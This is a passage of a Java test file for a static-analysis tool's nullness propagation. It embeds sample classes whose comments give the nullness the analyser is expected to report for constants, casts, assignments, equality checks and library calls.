triggerNullnessCheckerOnPrimitive(b = (1 != 1)); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(!b); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(b || b); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(b && b); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(b = !b); + } + + public void leastUpperBoundOfNonNullAndUnknown(String param, boolean b) { + if (b) { + param = "foo"; + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(param); + } + + public void stringConcatenation(String a, String b) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(a + b); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(null + b); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(a + 5); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(null + (String) null); + } +}""") + .doTest(); + } + + @Test + public void transferFunctions2() { + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases2.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.base.Verify.verifyNotNull; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; +import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases2.MyEnum.ENUM_INSTANCE; +import static java.lang.String.format; +import static java.lang.String.valueOf; + +import com.google.common.base.Optional; +import com.google.common.base.Strings; +import java.math.BigInteger; +import java.util.Objects; + +/** + * Dataflow analysis cases for testing transfer functions in nullness propagation around constants + * and built-in knowledge. + */ +@SuppressWarnings("deprecation") // test cases include deprecated JUnit methods +public class NullnessPropagationTransferCases2 { + private static class MyClass { + static String staticReturnNullable() { + return null; + } + } + + static final int CONSTANT_INT = 1; + static final Integer CONSTANT_BOXED_INTEGER = 1; + static final Integer CONSTANT_DERIVED_INTEGER = (Integer) (CONSTANT_INT); + static final Boolean CONSTANT_DERIVED_BOOLEAN = CONSTANT_INT == 1; + static final String CONSTANT_STRING = "foo"; + static final String CONSTANT_NULL_STRING = null; + static final String CONSTANT_DERIVED_STRING = CONSTANT_DERIVED_BOOLEAN ? CONSTANT_STRING : ""; + static final MyClass CONSTANT_OTHER_CLASS = new MyClass(); + static final Integer[] CONSTANT_OBJECT_ARRAY = new Integer[7]; + static final Integer[] CONSTANT_ARRAY_INITIALIZER = {Integer.valueOf(5)}; + static final Object CONSTANT_NO_INITIALIZER; + + static { + CONSTANT_NO_INITIALIZER = new Object(); + } + + public void constants() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(CONSTANT_INT); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_BOXED_INTEGER); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_DERIVED_INTEGER); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_DERIVED_BOOLEAN); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_STRING); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(CONSTANT_NULL_STRING); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_DERIVED_STRING); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_OTHER_CLASS); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_OBJECT_ARRAY); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(CONSTANT_OBJECT_ARRAY[0]); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(CONSTANT_ARRAY_INITIALIZER); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(CONSTANT_NO_INITIALIZER); + } + + public static final MyBigInteger CIRCULAR = MyBigInteger.CIRCLE; + + public void circularInitialization() { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(MyBigInteger.CIRCLE); + } + + static class MyBigInteger extends BigInteger { + // Shadows BigInteger.ONE. + public static final MyBigInteger ONE = null; + // Creates circular initializer dependency. + public static final MyBigInteger CIRCLE = NullnessPropagationTransferCases2.CIRCULAR; + + MyBigInteger(String val) { + super(val); + } + + // Has the same signature as a BigInteger method. In other words, our method hides that one. + public static BigInteger valueOf(long val) { + return null; + } + } + + public void builtInConstants() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(BigInteger.ZERO); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(MyBigInteger.ZERO); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(BigInteger.ONE); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(MyBigInteger.ONE); + } + + enum MyEnum { + ENUM_INSTANCE; + + static MyEnum valueOf(char c) { + return null; + } + + public static final MyEnum NOT_COMPILE_TIME_CONSTANT = ENUM_INSTANCE; + public static final MyEnum UNKNOWN_VALUE_CONSTANT = instance(); + + public static MyEnum instance() { + return ENUM_INSTANCE; + } + } + + public void enumConstants() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(MyEnum.ENUM_INSTANCE); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(ENUM_INSTANCE); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(MyEnum.NOT_COMPILE_TIME_CONSTANT); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(MyEnum.UNKNOWN_VALUE_CONSTANT); + } + + public void explicitValueOf() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(String.valueOf(3)); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(valueOf(3)); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(Integer.valueOf(null)); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(BigInteger.valueOf(3)); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(Enum.valueOf(MyEnum.class, "INSTANCE")); + + // We'd prefer this to be Non-null. See the TODO on CLASSES_WITH_NON_NULLABLE_VALUE_OF_METHODS. + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(MyEnum.valueOf("INSTANCE")); + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(MyBigInteger.valueOf(3)); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(MyEnum.valueOf('a')); + } + + public void methodInvocationIsDereference(String nullableParam) { + String str = nullableParam; + str.toString(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + } + + public void booleanMethodInvocationIsDereference(String nullableParam) { + String str = nullableParam; + str.isEmpty(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + } + + public void staticMethodInvocationIsNotDereferenceNullableReturn(MyClass nullableParam) { + nullableParam.staticReturnNullable(); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(nullableParam); + } + + public void staticMethodInvocationIsNotDereferenceNonNullReturn(String nullableParam) { + nullableParam.valueOf(true); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(nullableParam); + } + + public void staticMethodInvocationIsNotDereferenceButPreservesExistingInformation() { + String s = "foo"; + s.format("%s", "foo"); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + + public void staticMethodInvocationIsNotDereferenceButDefersToOtherNewInformation(String s) { + s = s.valueOf(true); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + + public void classgetNamesMethods() { + Class klass = this.getClass(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(klass.getName()); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(klass.getSimpleName()); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(klass.getCanonicalName()); + } + + public void stringStaticMethodsReturnNonNull() { + String s = null; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(String.format("%s", "foo")); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(format("%s", "foo")); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s.format("%s", "foo")); + } + + public void stringInstanceMethodsReturnNonNull() { + String s = null; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s.substring(0)); + } + + public void requireNonNullReturnsNonNull(String s) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(Objects.requireNonNull(s)); + } + + public void requireNonNullUpdatesVariableNullness(String s) { + Objects.requireNonNull(s); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + + public void checkNotNullReturnsNonNull(String s) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(checkNotNull(s)); + } + + public void checkNotNullUpdatesVariableNullness(String s) { + checkNotNull(s); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + + public void verifyNotNullReturnsNonNull(String s) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(verifyNotNull(s)); + } + + public void verifyNotNullUpdatesVariableNullness(String s) { + verifyNotNull(s); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + + public void junit3AssertNotNullOneArgUpdatesVariableNullness(Object o) { + junit.framework.Assert.assertNotNull(o); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(o); + } + + public void junit3AssertNotNullTwoArgUpdatesVariableNullness(String message, Object o) { + junit.framework.Assert.assertNotNull(message, o); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(o); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(message); + } + + public void junit4AssertNotNullOneArgUpdatesVariableNullness(Object o) { + org.junit.Assert.assertNotNull(o); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(o); + } + + public void junit4AssertNotNullTwoArgUpdatesVariableNullness(String message, Object o) { + org.junit.Assert.assertNotNull(message, o); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(o); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(message); + } + + public void stringsIsNullOrEmptyIsNullCheck(String s) { + if (Strings.isNullOrEmpty(s)) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(s); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + } + + public void objectsIsNullIsNullCheck(String s) { + if (Objects.isNull(s)) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(s); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + } + + public void objectsNonNullIsNullCheck(String s) { + if (Objects.nonNull(s)) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(s); + } + } + + public void optionalMethodsReturnNonNullUnlessAnnotated() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(Optional.absent()); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(Optional.of("")); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(Optional.fromNullable(null)); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(Optional.of("Test")); + Optional myOptional = Optional.absent(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(myOptional.get()); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(myOptional.or("")); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(myOptional.asSet()); + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(myOptional.orNull()); + } +}""") + .doTest(); + } + + @Test + public void transferFunctions3() { + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases3.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnBoxed; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; + +import com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest; + +/** + * Dataflow analysis cases for testing transfer functions in nullness propagation around various + * kinds of expressions, method parameter and call handling, and loops. + */ +public class NullnessPropagationTransferCases3 { + public void casts() { + Object o = null; + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker((String) o); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed((int) o); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive((int) o); + + o = "str"; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker((String) o); + } + + public void literals() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive((byte) 1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive((short) 1000); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(33L); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(0.444f); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(0.5555d); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(true); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive('z'); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker("a string literal"); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(String.class); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(null); + } + + public void autoboxed() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed((byte) 1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed((short) 1000); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(33L); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(0.444f); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(0.5555d); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(true); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed('z'); + } + + public void autounbox() { + Integer i = null; + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(i); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i); + // Unboxing is a method call, so i must be non-null... + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(i); + } + + public void parameter(String str, int i) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str); + + // A call to plain triggerNullnessChecker() would implicitly call Integer.valueOf(i). + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i); + } + + public void assignment(String nullableParam) { + String str = nullableParam; + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str); + + str = "a string"; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + + String otherStr = str; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + + str = null; + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str); + + otherStr = str; + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str); + } + + public void assignmentExpressionValue() { + String str = "foo"; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str = null); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str = "bar"); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + + str = null; + String str2 = null; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str = str2 = "bar"); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str = str2 = null); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + + public void localVariable() { + short s; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(s = 1000); // narrowing conversion + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(s); + int i = 2; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i = s); // widening conversion + String str = "a string literal"; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str); + Object obj = null; + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(obj); + + ++i; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i); + } + + public void boxedPrimitives() { + Short s = 1000; + // BUG: Diagnostic contains: (Non-null) + NullnessPropagationTest.triggerNullnessChecker(s); + + Integer i = 2; + // BUG: Diagnostic contains: (Non-null) + NullnessPropagationTest.triggerNullnessChecker(i); + } + + public void nullableAssignmentToPrimitiveVariableExpressionValue() { + int i; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i = boxedIntReturningMethod()); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(boxedIntReturningMethod()); + } + + public void methodInvocation() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(intReturningMethod()); + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(stringReturningMethod()); + } + + private Integer boxedIntReturningMethod() { + return null; + } + + private int intReturningMethod() { + return 0; + } + + private String stringReturningMethod() { + return null; + } + + public void objectCreation(Object nullableParam) { + Object obj = nullableParam; + obj = new Object(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(obj); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(new Object[0]); + } + + public void inc() { + int i = 0; + short s = 0; + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i++); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(s++); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(++i); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(++s); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i += 5); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(s += 5); + } + + public void loop1() { + Object o = null; + while (true) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(o); + o.hashCode(); + } + } + + public void loop2() { + Object o = null; + Object comingValue = null; + while (true) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(o); + + o = comingValue; + comingValue = new Object(); + } + } +}""") + .doTest(); + } + + @Test + public void transferFunctions4() { + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases4.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; + +/** Tests for ==. */ +public class NullnessPropagationTransferCases4 { + + public void equalBothNull() { + String str1 = null; + if (str1 == null) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + + if (null == str1) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + + String str2 = null; + if (str1 == str2) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + + public void equalBothNonNull() { + String str1 = "foo"; + if (str1 == "bar") { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + if ("bar" == str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + String str2 = "bar"; + if (str1 == str2) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + + public void equalOneNullOtherNonNull() { + String str1 = "foo"; + if (str1 == null) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + if (null == str1) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + String str2 = null; + if (str1 == str2) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + + if (str2 == str1) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + + public void equalOneNullableOtherNull(String nullableParam) { + String str1 = nullableParam; + if (str1 == null) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + + if (null == str1) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + + String str2 = null; + if (str1 == str2) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + + if (str2 == str1) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + + public void equalOneNullableOtherNonNull(String nullableParam) { + String str1 = nullableParam; + if (str1 == "foo") { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + + if ("foo" == str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + + String str2 = "foo"; + if (str1 == str2) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + + if (str2 == str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + + // TODO(eaftan): tests for bottom? +}""") + .doTest(); + } + + @Test + public void transferFunctions5() { + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases5.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; + +/** Tests for !=. */ +public class NullnessPropagationTransferCases5 { + + public void notEqualBothNull() { + String str1 = null; + if (str1 != null) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + + if (null != str1) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + + String str2 = null; + if (str1 != str2) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + + public void notEqualBothNonNull() { + String str1 = "foo"; + if (str1 != "bar") { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + if ("bar" != str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + String str2 = "bar"; + if (str1 != str2) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + + public void notEqualOneNullOtherNonNull() { + String str1 = "foo"; + if (str1 != null) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + if (null != str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + String str2 = null; + if (str1 != str2) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + + if (str2 != str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic 